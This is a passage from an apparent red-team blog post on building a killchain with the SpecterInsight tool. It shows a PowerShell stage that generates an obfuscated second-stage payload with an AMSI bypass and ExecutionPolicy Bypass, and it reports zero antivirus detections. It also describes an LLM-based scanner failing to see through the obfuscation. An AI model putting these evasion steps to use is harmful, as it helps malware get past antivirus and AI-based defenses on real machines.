            Get-virtualportgroup -virtualswitch $destSwitch -name "$($thisPG.Name)-VSS" | Set-VirtualPortGroup -vlanid $thisPG.vlanconfiguration.vlanid
        }
        $pgTranslations += $thisObj
    } 

    $pgTranslations

}

Stage 1: PowerShell Command

This stage is fairly straightforward. We just need to execute the the Stage 2 payload. SpecterInsight provides a cmdlet called Out-PwshCommand that takes in a PowerShell script and outputs a PowerShell commandline command. There are two basic techniques here with a variety of optional arguments. Here the defaults are satisfactory with ExecutionPolicy set to Bypass.

When this pipeline runs, we need to generate the Stage 2 payload and embed it in a PowerShell command. To do that, we will utilize the Get-Payload cmdlet with the -Pipeline argument. We can also pass arguments to the pipeline. In this case, we want to pass through our string obfuscation and AMSI bypass technique parameters. You can do that with the -PipelineArgs parameter. This parameter takes in a Hashtable where the key is the parameter name and the value is the value you’re passing in.

param(
	[Parameter(Mandatory = $false)]
	[SpecterInsight.Obfuscation.PowerShell.AstTransforms.PwshStringObfuscationTechnique]$StringObfuscationTechnique = 'Format',
	
	[Parameter(Mandatory = $false)]
	[SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$AmsiBypassTechnique = 'InitFailed'
)

$script = Get-Payload -Pipeline 'specter_stage_2' -AsString -PipelineArgs @{
	StringObfuscationTechnique = $StringObfuscationTechnique;
	AmsiBypassTechnique = $AmsiBypassTechnique;
};

$script | Out-PwshCommand;

The parameter block for this stage generates a nice GUI for the Payload Pipeline parameters and even generates a nice dropdown menu with all of the enumerated techniques in the PwshStringObfuscationTechnique and PwshAmsiBypassTechnique enums as you can see below:

Results

Submitting that script to VirusTotal yields zero detections and will run against Windows Defender without an issue.

That being said, NICS Labs noted several suspicious things about the script:

“Additionally, the code includes obfuscated strings and functions such as `Compress-Block3` and `Wait-Exporter`, which appear to be intended to hide their true purpose.”

This indicates to me two things:

  1. The AI couldn’t see through the obfuscation… yet.
  2. LLM integration into AVs are going to be a huge challenge for scripted payloads in the very near future.

Conclusion

That brings us to the end of this post on building a killchain to evade AV and load a .NET binary into memory. Hopefully this helped highlight some of the current challenges with evading host based defenses and how to overcome them through careful selection of the right tactics and techniques along with the right obfuscation methods to evade detection.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top